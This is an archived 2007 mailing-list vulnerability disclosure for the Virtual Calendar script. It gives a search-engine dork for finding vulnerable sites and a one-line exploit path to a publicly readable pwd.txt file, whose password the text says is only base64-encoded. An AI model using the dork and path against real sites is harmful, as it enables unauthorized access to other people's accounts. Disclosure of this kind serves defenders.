Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

Inertia News Remote File İnclude

XSS in eWay

XSS in lighttpd

XSS in communityserver !

From:	me you <r.5.7_(at)_hotmail.com>
Date:	13.02.2007
Subject:	Virtual Calendar <= (pwd.txt) Remote Password Disclosur Vulnerability

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Virtual Calendar <= (pwd.txt) Remote Password Disclosur Vulnerability

Script: Virtual Calendar

DorK: "intitle:Virtual intitle:Calendar intitle:Demo"

URL:
http://www.scriptsez.net/download/download.php?action=download&p=vcalendar.zi
p&ns=1

Discovered by: BorN To K!LL

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

ExploiT:
~~~~~
www.site.com/[path]/pwd.txt

as we C .... crack the password with bass64 decode ....

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

GreeTz 2 :.
Dr.2  ,  AsbMay  ,  General C  ,  ToOoFa  ,  str0ke  ,  SHiKaA  ,  
ThE-LoRd-Of-CrAcKiNg ...

AsbMay's Group  &  KuW-SeC TeaM  & Dm3R7 TeaM .....

Thanks a lot 2  www.milw0rm.com   ......

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

_________________________________________________________________
Express yourself instantly with MSN Messenger! Download today it's FREE!
http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/